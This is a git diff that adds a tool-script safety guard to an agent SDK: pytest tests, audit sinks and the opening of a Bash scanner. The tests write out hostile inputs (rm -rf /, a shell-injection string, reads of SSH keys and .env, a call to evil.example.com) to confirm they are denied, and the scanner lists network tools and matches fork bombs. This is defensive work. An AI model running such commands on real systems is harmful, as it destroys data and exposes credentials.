SafetyDecision.ALLOW + + +def test_report_serialization_invariants(scan_results): + """Reports must never leak raw script or env.""" + + for sample, report in scan_results: + payload = report.model_dump_json() + lowered = payload.lower() + assert "\"script\":" not in payload + # The script sha256 hash appears as "script_sha256" only. diff --git a/tests/tool_safety/test_models.py b/tests/tool_safety/test_models.py new file mode 100644 index 00000000..d4df010d --- /dev/null +++ b/tests/tool_safety/test_models.py @@ -0,0 +1,143 @@ +"""Tests for data models and invariants.""" + +from __future__ import annotations + +import json + +import pytest +from pydantic import ValidationError + +from trpc_agent_sdk.tools.safety._models import ( + SAFE_RULE_ID, + Evidence, + RiskCategory, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) + + +def test_request_repr_hides_script_and_env(): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="secret-script-body", + env={"API_TOKEN": "abc123"}, + ) + rendered = repr(request) + assert "secret-script-body" not in rendered + assert "abc123" not in rendered + + +def test_frozen_report_immutable(): + report = SafetyReport( + report_id="r", + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="ok", + policy_hash="p", + policy_version="1", + script_sha256="s", + scan_duration_ms=1.0, + redacted=False, + ) + with pytest.raises(Exception): + report.decision = SafetyDecision.DENY # type: ignore[misc] + + +def test_report_json_uses_label_for_risk_level(): + report = SafetyReport( + report_id="r", + decision=SafetyDecision.DENY, + risk_level=RiskLevel.CRITICAL, + rule_ids=("FILE001_RECURSIVE_DELETE",), + findings=(), + recommendation="x", + policy_hash="p", + policy_version="1", + script_sha256="s", + scan_duration_ms=2.0, + redacted=True, + ) + data = json.loads(report.model_dump_json()) + assert data["risk_level"] == "critical" + assert data["decision"] == "deny" + obj_keys = set(data.keys()) + assert "script" not in obj_keys + assert "argv" not in obj_keys + assert "env" not in obj_keys + assert "cwd" not in obj_keys + + +def test_extra_forbid_on_request(): + with pytest.raises(ValidationError): + SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + random_field="oops", # type: ignore[call-arg] + ) + + +def test_combine_reports_takes_worst_decision(): + allow_report = SafetyReport( + report_id="a", + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="", + policy_hash="p", + policy_version="1", + script_sha256="x", + scan_duration_ms=0.1, + redacted=False, + ) + deny_report = SafetyReport( + report_id="b", + decision=SafetyDecision.DENY, + risk_level=RiskLevel.CRITICAL, + rule_ids=("FILE001_RECURSIVE_DELETE",), + findings=( + SafetyFinding( + rule_id="FILE001_RECURSIVE_DELETE", + category=RiskCategory.FILE, + risk_level=RiskLevel.CRITICAL, + decision=SafetyDecision.DENY, + evidence=Evidence(snippet="x"), + recommendation="d", + ), + ), + recommendation="d", + policy_hash="p", + policy_version="1", + script_sha256="y", + scan_duration_ms=0.2, + redacted=False, + ) + combined = SafetyReport.combine( + [allow_report, deny_report], + report_id="c", + policy_hash="p", + policy_version="1", + scan_duration_ms=0.3, + ) + assert combined.decision == SafetyDecision.DENY + assert combined.risk_level == RiskLevel.CRITICAL + + +def test_combine_empty_yields_allow(): + combined = SafetyReport.combine( + [], + report_id="c", + policy_hash="p", + policy_version="1", + scan_duration_ms=0.0, + ) + assert combined.decision == SafetyDecision.ALLOW + assert combined.rule_ids == (SAFE_RULE_ID,) diff --git a/tests/tool_safety/test_performance.py b/tests/tool_safety/test_performance.py new file mode 100644 index 00000000..67219cd8 --- /dev/null +++ b/tests/tool_safety/test_performance.py @@ -0,0 +1,62 @@ +"""Performance test: scan a 500-line Python script in under 1 second.""" + +from __future__ import annotations + +import time + +import pytest + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + +def _make_large_script(lines: int = 500) -> str: + body = ["import os", "import subprocess"] + for i in range(lines - 5): + body.append(f"x_{i} = {i}") + # The dangerous call is on the last line; the scanner must still + # reach it after walking the whole tree. + body.append("subprocess.run('rm -rf /', shell=True)") + body.append("") + return "\n".join(body) + + +def test_scan_500_lines_under_one_second(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + script = _make_large_script(500) + # Warm up so import / regex compile cost does not skew the result. + guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + samples = [] + for _ in range(5): + start = time.perf_counter() + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + samples.append(time.perf_counter() - start) + p95 = sorted(samples)[int(len(samples) * 0.95) - 1] \ + if len(samples) > 1 else samples[0] + assert report.decision == SafetyDecision.DENY + assert p95 < 1.0, f"p95={p95:.3f}s exceeds 1.0s budget" + + +def test_scan_bash_500_lines_under_one_second(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + lines = ["# comment"] * 495 + ["rm -rf /tmp/x"] + script = "\n".join(lines) + # Warm up. + guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.BASH, script=script, + )) + samples = [] + for _ in range(5): + start = time.perf_counter() + guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.BASH, script=script, + )) + samples.append(time.perf_counter() - start) + p95 = sorted(samples)[int(len(samples) * 0.95) - 1] \ + if len(samples) > 1 else samples[0] + assert p95 < 1.0, f"p95={p95:.3f}s exceeds 1.0s budget" diff --git a/tests/tool_safety/test_policy.py b/tests/tool_safety/test_policy.py new file mode 100644 index 00000000..a75c295a --- /dev/null +++ b/tests/tool_safety/test_policy.py @@ -0,0 +1,116 @@ +"""Tests for policy loading, normalization, and hashing.""" + +from __future__ import annotations + +import copy +from pathlib import Path + +import pytest + +from trpc_agent_sdk.tools.safety._exceptions import SafetyPolicyError +from trpc_agent_sdk.tools.safety._policy import ( + POLICY_VERSION, + load_safety_policy, + load_safety_policy_dict, + match_domain, + match_path_glob, +) + + +def write_policy(tmp_path: Path, data: dict) -> str: + import yaml as _yaml + + path = tmp_path / "policy.yaml" + path.write_text(_yaml.safe_dump(data), encoding="utf-8") + return str(path) + + +def test_load_example_policy(example_policy_path): + policy = load_safety_policy(example_policy_path) + assert policy.version == POLICY_VERSION + assert policy.hash + assert "api.github.com" in policy.network.allow_domains + + +def test_load_unknown_field_fails(tmp_path): + path = write_policy(tmp_path, {"version": "1", "unknown_field": True}) + with pytest.raises(SafetyPolicyError): + load_safety_policy(path) + + +def test_load_invalid_version_fails(tmp_path): + path = write_policy(tmp_path, {"version": "99"}) + with pytest.raises(SafetyPolicyError): + load_safety_policy(path) + + +def test_negative_limit_rejected(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["limits"] = {"max_timeout_seconds": -1} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_invalid_rule_override_rejected(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["rule_overrides"] = {"FILE001_RECURSIVE_DELETE": "delete-please"} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_invalid_decision_default_rejected(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["defaults"] = {"unknown_construct": "permit"} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_wildcard_domain_must_start_with_star(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["network"] = {"allow_domains": ["foo.*.example.com"]} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_match_domain_exact_and_wildcard(): + allowed = ("api.github.com", "*.internal.example.com") + assert match_domain("api.github.com", allowed) + assert match_domain("API.GITHUB.COM", allowed) + assert match_domain("service.internal.example.com", allowed) + assert not match_domain("internal.example.com", allowed) + assert not match_domain("a.b.internal.example.com", allowed) + assert not match_domain("evil.example.com", allowed) + + +def test_match_path_glob_lexical(): + assert match_path_glob("~/.ssh/id_rsa", "~/.ssh") + assert match_path_glob("/etc/passwd", "/etc") + assert match_path_glob(".env", ".env") + assert not match_path_glob("/home/user/code", "/etc") + + +def test_policy_hash_stable_across_formatting(tmp_path, strict_policy_dict): + import yaml as _yaml + + p1 = tmp_path / "a.yaml" + p2 = tmp_path / "b.yaml" + p1.write_text(_yaml.safe_dump(strict_policy_dict), encoding="utf-8") + p2.write_text(_yaml.safe_dump(strict_policy_dict, sort_keys=False), + encoding="utf-8") + a = load_safety_policy(p1) + b = load_safety_policy(p2) + assert a.hash == b.hash + + +def test_policy_hash_changes_when_lists_change(strict_policy_dict): + p1 = load_safety_policy_dict(strict_policy_dict) + modified = copy.deepcopy(strict_policy_dict) + modified["commands"]["allow"] = list(modified["commands"]["allow"]) + ["go"] + p2 = load_safety_policy_dict(modified) + assert p1.hash != p2.hash + + +def test_sensitive_env_key_patterns_default(): + policy = load_safety_policy_dict({}) + assert policy.sensitive_env_key_patterns + assert any("KEY" in p for p in policy.sensitive_env_key_patterns) diff --git a/tests/tool_safety/test_python_scanner.py b/tests/tool_safety/test_python_scanner.py new file mode 100644 index 00000000..18d0677a --- /dev/null +++ b/tests/tool_safety/test_python_scanner.py @@ -0,0 +1,226 @@ +"""Tests for the Python AST scanner.""" + +from __future__ import annotations + +import pytest + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def guard(strict_policy_dict): + return ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + + +def scan(guard, script): + return guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + + +def test_recursive_delete_denies(guard): + report = scan(guard, "import shutil\nshutil.rmtree('/tmp/x')\n") + assert report.decision == SafetyDecision.DENY + assert "FILE001_RECURSIVE_DELETE" in report.rule_ids + + +def test_credential_read_denies(guard): + script = "open('/home/u/.ssh/id_rsa').read()\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.DENY + assert "FILE003_CREDENTIAL_READ" in report.rule_ids + + +def test_pathlib_credential_read_denies(guard): + script = ( + "from pathlib import Path\n" + "path = Path('/home/u') / '.ssh' / 'id_rsa'\n" + "print(path.read_text())\n" + ) + report = scan(guard, script) + assert "FILE003_CREDENTIAL_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_dotenv_read_denies(guard): + report = scan(guard, "open('.env').read()\n") + assert "FILE004_DOTENV_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_non_allowlist_network_denies(guard): + script = "import requests\nrequests.get('https://evil.example.com')\n" + report = scan(guard, script) + assert "NET001_DOMAIN_NOT_ALLOWED" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_allowlist_network_allows(guard): + script = "import requests\nrequests.get('https://api.github.com/x')\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.ALLOW + + +def test_ip_literal_policy_can_block_an_allowlisted_ip(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["network"] = { + "allow_domains": ["127.0.0.1"], + "deny_ip_literals": True, + } + blocked_guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + script = "import requests\nrequests.get('http://127.0.0.1:8080')\n" + blocked = scan(blocked_guard, script) + assert "NET003_IP_LITERAL" in blocked.rule_ids + assert blocked.decision == SafetyDecision.DENY + + policy_dict["network"] = { + "allow_domains": ["127.0.0.1"], + "deny_ip_literals": False, + } + allowed_guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + assert scan(allowed_guard, script).decision == SafetyDecision.ALLOW + + +def test_fstring_allowlist_network_allows(guard): + script = "import requests\nrequests.get(f'https://api.github.com/users/{name}')\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.ALLOW + + +def test_shell_injection_denies(guard): + script = "import subprocess\nsubprocess.run('ls; rm -rf /', shell=True)\n" + report = scan(guard, script) + assert "PROC002_SHELL_INJECTION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_allowed_subprocess_allows(guard): + script = "import subprocess\nsubprocess.run(['python', '-V'])\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.ALLOW + + +def test_pip_install_denies(guard): + script = "import subprocess\nsubprocess.run(['pip', 'install', 'numpy'])\n" + report = scan(guard, script) + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_python_m_pip_install_denies(guard): + script = "import subprocess\nsubprocess.run(['python', '-m', 'pip', 'install', 'numpy'])\n" + report = scan(guard, script) + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_unbounded_while_true_denies(guard): + report = scan(guard, "while True:\n pass\n") + assert "RES001_UNBOUNDED_LOOP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_long_sleep_denies(guard): + report = scan(guard, "import time\ntime.sleep(60)\n") + assert "RES003_LONG_SLEEP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_process_limit_uses_max_processes(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["limits"] = dict(policy_dict["limits"]) + policy_dict["limits"]["max_parallel_tasks"] = 10 + policy_dict["limits"]["max_processes"] = 2 + g = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + report = scan( + g, + "import multiprocessing\nmultiprocessing.Pool(processes=3)\n", + ) + assert "RES004_CONCURRENCY" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_secret_to_print_denies(guard): + script = "import os\nv=os.environ['API_TOKEN']\nprint(v)\n" + report = scan(guard, script) + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_literal_api_key_to_print_denies_and_redacts(guard): + secret = "sk-ABCDEFGHIJKLMNOPQRSTUVWXYZ123456" + report = scan(guard, f"print('{secret}')\n") + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.DENY + assert report.redacted is True + assert secret not in report.model_dump_json() + + +def test_secret_to_log_denies(guard): + script = ( + "import os, logging\n" + "logging.basicConfig()\n" + "log = logging.getLogger('x')\n" + "secret = os.environ['PASSWORD']\n" + "log.info('pwd=%s', secret)\n" + ) + report = scan(guard, script) + assert "SECRET001_LOG_SINK" in report.rule_ids + + +def test_dynamic_exec_eval_denies(guard): + report = scan(guard, "eval('1+1')\n") + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + assert report.decision != SafetyDecision.ALLOW + + +def test_dynamic_command_review(guard): + script = ( + "import subprocess\n" + "cmd = input()\n" + "subprocess.run(cmd)\n" + ) + report = scan(guard, script) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC001_PROCESS_EXEC" in report.rule_ids + + +def test_safe_script_allows(guard): + report = scan(guard, "import os\nprint(os.getcwd())\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_syntax_error_yields_review(guard): + report = scan(guard, "def (\n") + assert "PARSE001_UNCERTAIN" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_script_too_large_fail_closed(strict_policy_dict): + strict = strict_policy_dict.copy() + strict["limits"] = dict(strict["limits"]) + strict["limits"]["max_script_bytes"] = 16 + g = ToolSafetyGuard(load_safety_policy_dict(strict)) + report = scan(g, "a" * 200) + assert report.decision == SafetyDecision.DENY + assert "GUARD001_INTERNAL_ERROR" in report.rule_ids + + +def test_privilege_escalation_denies(guard): + script = "import subprocess\nsubprocess.run(['sudo', 'ls'])\n" + report = scan(guard, script) + assert "PROC004_PRIVILEGE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_rule_override_changes_decision(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["rule_overrides"] = {"DEP001_ENV_MUTATION": "allow"} + g = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + script = "import subprocess\nsubprocess.run(['pip', 'install', 'numpy'])\n" + report = scan(g, script) + # PROC001 may still flag because pip isn't in allow list, but the + # dependency rule should not be present. + assert "DEP001_ENV_MUTATION" not in report.rule_ids diff --git a/tests/tool_safety/test_redaction.py b/tests/tool_safety/test_redaction.py new file mode 100644 index 00000000..8bf18072 --- /dev/null +++ b/tests/tool_safety/test_redaction.py @@ -0,0 +1,72 @@ +"""Tests for redaction.""" + +from __future__ import annotations + +import json + +from trpc_agent_sdk.tools.safety._redaction import Redactor +from trpc_agent_sdk.tools.safety._models import ScriptLanguage + + +def test_env_value_redacted(): + redactor = Redactor(env_values=["super-secret-value"]) + out = redactor.redact("payload=super-secret-value") + assert "super-secret-value" not in out + assert " str: + calls.append(script) + return "ok" + + wrapped = SafetyWrappedCallable( + guard, delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + ) + assert wrapped(script="print('hi')") == "ok" + assert calls == ["print('hi')"] + + +def test_wrapped_callable_audits_before_delegate(guard): + sink = InMemoryAuditSink() + filter_ = ToolScriptSafetyFilter(guard, audit_sink=sink) + + def delegate(script: str) -> str: + assert len(sink.events) == 1 + return "ok" + + wrapped = SafetyWrappedCallable( + guard, + delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + filter=filter_, + ) + + assert wrapped(script="print('hi')") == "ok" + + +def test_wrapped_callable_blocks_danger(guard): + def delegate(script: str) -> str: + return "ran" + + wrapped = SafetyWrappedCallable( + guard, delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + ) + with pytest.raises(BlockedExecutionError): + wrapped(script="import shutil\nshutil.rmtree('/x')") + + +def test_wrapped_callable_scans_explicit_argv_and_metadata(guard): + wrapped = SafetyWrappedCallable( + guard, + lambda **kwargs: "ran", + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + argv_kw="argv", + metadata_kw="metadata", + ) + with pytest.raises(BlockedExecutionError): + wrapped(script="print('safe')", argv=["sudo", "ls"]) + with pytest.raises(BlockedExecutionError): + wrapped( + script="print('safe')", + metadata={"execution_capable": True, "adapter_id": "unknown"}, + ) + + +def test_wrapped_callable_supports_positional(guard): + def delegate(script: str) -> str: + return f"got:{script}" + + wrapped = SafetyWrappedCallable( + guard, delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_pos=0, + ) + assert wrapped("print(1)") == "got:print(1)" + + +def test_executor_allow_delegates(guard): + class FakeInput: + code_blocks = [type("Block", (), {"code": "print('a')"})()] + + class FakeResult: + outcome = "SUCCESS" + output = "x" * 100 + + class FakeExecutor: + async def execute_code(self, inp): + assert inp is fake_input + return FakeResult() + + delegate = FakeExecutor() + wrapped = SafetyCheckedExecutor(guard, delegate, + audit_sink=InMemoryAuditSink()) + fake_input = FakeInput() + result = asyncio.run(wrapped.execute_code(fake_input)) # noqa: F821 + assert result.outcome == "SUCCESS" + + +def test_executor_deny_does_not_delegate(guard): + class FakeInput: + code_blocks = [type("Block", (), + {"code": "import shutil\nshutil.rmtree('/x')"})()] + + called = [] + + class FakeExecutor: + async def execute_code(self, inp): + called.append(True) + return None + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert called == [] + assert "blocked" in result.output or "trpc_agent_sdk.tools.safety" in result.output + + +def test_executor_scans_code_attribute_when_blocks_are_empty(guard): + class FakeInput: + code_blocks = [] + code = "import shutil\nshutil.rmtree('/x')" + + class FakeExecutor: + async def execute_code(self, inp): + raise AssertionError("unsafe code must not reach the executor") + + sink = InMemoryAuditSink() + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), audit_sink=sink) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert "FILE001_RECURSIVE_DELETE" in result.output + assert len(sink.events) == 1 + + +def test_executor_uses_each_block_language(guard): + class FakeInput: + code_blocks = [type("Block", (), { + "language": "bash", "code": "rm -rf /tmp/x", + })()] + + class FakeExecutor: + async def execute_code(self, inp): + raise AssertionError("unsafe Bash must not reach the executor") + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert "FILE001_RECURSIVE_DELETE" in result.output + + +def test_executor_never_delegates_deny_when_review_is_non_blocking( + strict_policy_dict, +): + policy_dict = strict_policy_dict.copy() + policy_dict["defaults"] = {"human_review_blocks_execution": False} + guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + called = [] + + class FakeInput: + code_blocks = [type("Block", (), { + "language": "bash", "code": "rm -rf /tmp/x", + })()] + + class FakeExecutor: + async def execute_code(self, inp): + called.append(True) + return {"outcome": "SUCCESS", "output": "ran"} + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert called == [] + assert "FILE001_RECURSIVE_DELETE" in result.output + + +def test_executor_truncates_output(guard): + class FakeInput: + code_blocks = [type("Block", (), {"code": "print('hi')"})()] + + class FakeResult: + outcome = "SUCCESS" + output = "x" * 4096 + + class FakeExecutor: + async def execute_code(self, inp): + return FakeResult() + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert len(result.output.encode("utf-8")) <= guard.policy.limits.max_output_bytes + + +def test_executor_truncates_dict_output(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["limits"] = dict(policy_dict["limits"]) + policy_dict["limits"]["max_output_bytes"] = 8 + guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + + class FakeInput: + code_blocks = [type("Block", (), {"code": "print('hi')"})()] + + class FakeExecutor: + async def execute_code(self, inp): + return {"outcome": "SUCCESS", "output": "x" * 32} + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert len(result["output"].encode("utf-8")) <= 8 + + +# Need asyncio.run helper +import asyncio # noqa: E402 diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py new file mode 100644 index 00000000..b4916ad8 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -0,0 +1,65 @@ +"""Tool Script Safety Guard public API. Internal modules are private.""" + +from trpc_agent_sdk.tools.safety._exceptions import ( + SafetyAuditError, + SafetyGuardError, + SafetyPolicyError, + SafetyScannerError, +) +from trpc_agent_sdk.tools.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyAuditEvent, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from trpc_agent_sdk.tools.safety._policy import ToolSafetyPolicy, load_safety_policy +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._rules import SafetyRule, default_rules +from trpc_agent_sdk.tools.safety._audit import AuditSink, InMemoryAuditSink, JsonlAuditSink +from trpc_agent_sdk.tools.safety._tool_adapter import ( + ToolInputAdapter, + ToolRequestError, + build_default_adapters, +) +from trpc_agent_sdk.tools.safety._filter import ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety.wrapper import ( + SafetyCheckedExecutor, + SafetyWrappedCallable, +) + +__all__ = [ + "AuditSink", + "Evidence", + "InMemoryAuditSink", + "JsonlAuditSink", + "RiskCategory", + "RiskLevel", + "SafetyAuditError", + "SafetyAuditEvent", + "SafetyCheckedExecutor", + "SafetyDecision", + "SafetyFinding", + "SafetyGuardError", + "SafetyPolicyError", + "SafetyReport", + "SafetyRule", + "SafetyScanRequest", + "SafetyScannerError", + "SafetyWrappedCallable", + "ScriptLanguage", + "ToolInputAdapter", + "ToolKind", + "ToolRequestError", + "ToolSafetyGuard", + "ToolSafetyPolicy", + "ToolScriptSafetyFilter", + "build_default_adapters", + "default_rules", + "load_safety_policy", +] diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py new file mode 100644 index 00000000..aff3e225 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -0,0 +1,94 @@ +"""Audit sinks for persisted scan decisions. + +All sinks receive a fully redacted :class:`SafetyAuditEvent`. The JSONL +sink performs short blocking appends inside ``asyncio.to_thread`` so the +calling Filter does not stall on disk I/O during request handling. + +When ``audit.required`` is true the surrounding adapter treats an emit +failure as fail-closed: the safety filter blocks the request even when +the scanner returned ``allow``. +""" + +from __future__ import annotations + +import asyncio +import json +import os +import threading +from typing import Protocol, runtime_checkable + +from trpc_agent_sdk.tools.safety._exceptions import SafetyAuditError +from trpc_agent_sdk.tools.safety._models import SafetyAuditEvent + + +@runtime_checkable +class AuditSink(Protocol): + """Async protocol. ``emit`` must not raise except for audit errors.""" + + async def emit(self, event: SafetyAuditEvent) -> None: ... + + +class InMemoryAuditSink: + """Test-only sink that keeps events in a list.""" + + def __init__(self) -> None: + self._events: list[SafetyAuditEvent] = [] + self._lock = threading.Lock() + + async def emit(self, event: SafetyAuditEvent) -> None: + loop = asyncio.get_running_loop() + await loop.run_in_executor(None, self._append, event) + + def _append(self, event: SafetyAuditEvent) -> None: + with self._lock: + self._events.append(event) + + @property + def events(self) -> tuple[SafetyAuditEvent, ...]: + with self._lock: + return tuple(self._events) + + def clear(self) -> None: + with self._lock: + self._events.clear() + + +class JsonlAuditSink: + """Append-only JSON Lines sink. + + ``path`` is opened in append-binary mode for every event so concurrent + processes do not clobber each other. The short critical section keeps + lock contention low while still ordering writes from one process. + """ + + def __init__(self, path: str | os.PathLike[str]) -> None: + self._path = os.fspath(path) + self._lock = asyncio.Lock() + self._thread_lock = threading.Lock() + + async def emit(self, event: SafetyAuditEvent) -> None: + payload = json.dumps( + event.model_dump(mode="json"), sort_keys=True, + separators=(",", ":"), ensure_ascii=False, + ) + "\n" + try: + await asyncio.to_thread(self._write, payload) + except OSError as exc: + raise SafetyAuditError( + f"failed to write audit event to {self._path}: {exc}" + ) from exc + + def _write(self, payload: str) -> None: + with self._thread_lock: + with open(self._path, "a", encoding="utf-8") as handle: + handle.write(payload) + + +class _NullAuditSink: + """No-op sink for environments that disable audit entirely.""" + + async def emit(self, event: SafetyAuditEvent) -> None: # pragma: no cover + return None + + +NullAuditSink = _NullAuditSink diff --git a/trpc_agent_sdk/tools/safety/_bash_scanner.py b/trpc_agent_sdk/tools/safety/_bash_scanner.py new file mode 100644 index 00000000..adc804ff --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_bash_scanner.py @@ -0,0 +1,816 @@ +"""Conservative Bash lexer that extracts ScriptFacts. + +This is intentionally a *lexer-lite*: it tracks quote state and source +offsets, splits commands at the usual shell separators, and inspects +each command's tokens for patterns we care about. It deliberately does +not run the shell, expand variables, or follow redirects. + +Anything the lexer cannot understand (unbalanced quotes, unsupported +substitution form) becomes a ``PARSE001_UNCERTAIN`` finding so the +uncertainty is visible rather than silently treated as safe. +""" + +from __future__ import annotations + +import re +from typing import Iterator + +from trpc_agent_sdk.tools.safety._facts import ( + ConcurrencyFact, + DependencyInstallFact, + DynamicExecFact, + FileDeleteFact, + FileReadFact, + FileWriteFact, + ForkBombFact, + LargeWriteFact, + Loc, + LongSleepFact, + NetworkFact, + ParseErrorFact, + PrivilegeFact, + ProcessFact, + ScriptFacts, + SecretFlowFact, + ShellOperatorFact, + UnboundedLoopFact, +) +from trpc_agent_sdk.tools.safety._models import ScriptLanguage +from trpc_agent_sdk.tools.safety._rules import _LanguageScannerRule, SafetyRule + + +# --------------------------------------------------------------------------- # +# Constants +# --------------------------------------------------------------------------- # + +_NETWORK_COMMANDS = {"curl", "wget", "nc", "ncat", "ssh", "scp", "sftp", + "telnet", "ftp", "ncat"} +_FILE_READ_COMMANDS = {"cat", "head", "tail", "less", "more", "view", + "grep", "egrep", "fgrep", "rg", "ack", "sed", "awk", + "xxd", "od", "cut", "sort"} +_FILE_WRITE_COMMANDS = {"tee", "dd", "install", "cp", "mv"} +_PRIVILEGE_COMMANDS = {"sudo", "su", "doas", "pkexec", "super"} +_PACKAGE_MANAGERS = { + "pip": ("install",), + "pip3": ("install",), + "npm": ("install", "i", "add"), + "yarn": ("add", "install"), + "pnpm": ("add", "install"), + "apt": ("install",), + "apt-get": ("install",), + "apk": ("add",), + "yum": ("install",), + "dnf": ("install",), + "brew": ("install",), + "conda": ("install", "create"), +} +_INTERPRETERS = {"python", "python3", "python2", "bash", "sh", "zsh", + "perl", "ruby", "node"} + +_SEPARATORS = ("&&", "||", "|", ";", "\n") +_REDIRECTION_RE = re.compile(r"(?:>>|>|<|<<|<<<|<>|&>|\d?>|\d<)\s*(\S+)") +_FORK_BOMB_RE = re.compile( + r":\(\)\s*\{\s*:\s*[|&]+\s*:\s*&?\s*\}\s*;?\s*:?", + re.MULTILINE, +) +_URL_RE = re.compile(r"\bhttps?://([^/\s:]+)", re.IGNORECASE) +_WHILE_TRUE_RE = re.compile(r"\bwhile\s+(?:true|:|\[\s*\[\s*1\s*\]\s*\]\s*)", + re.IGNORECASE) +_FOR_INF_RE = re.compile(r"\bfor\s*\(\(\s*;;\s*\)\)", re.IGNORECASE) +_SLEEP_RE = re.compile(r"\bsleep\s+([0-9]+[smhd]?)", re.IGNORECASE) +_BG_COUNT_RE = re.compile(r"&") + + +# --------------------------------------------------------------------------- # +# Tokenizer +# --------------------------------------------------------------------------- # + +class _Token: + 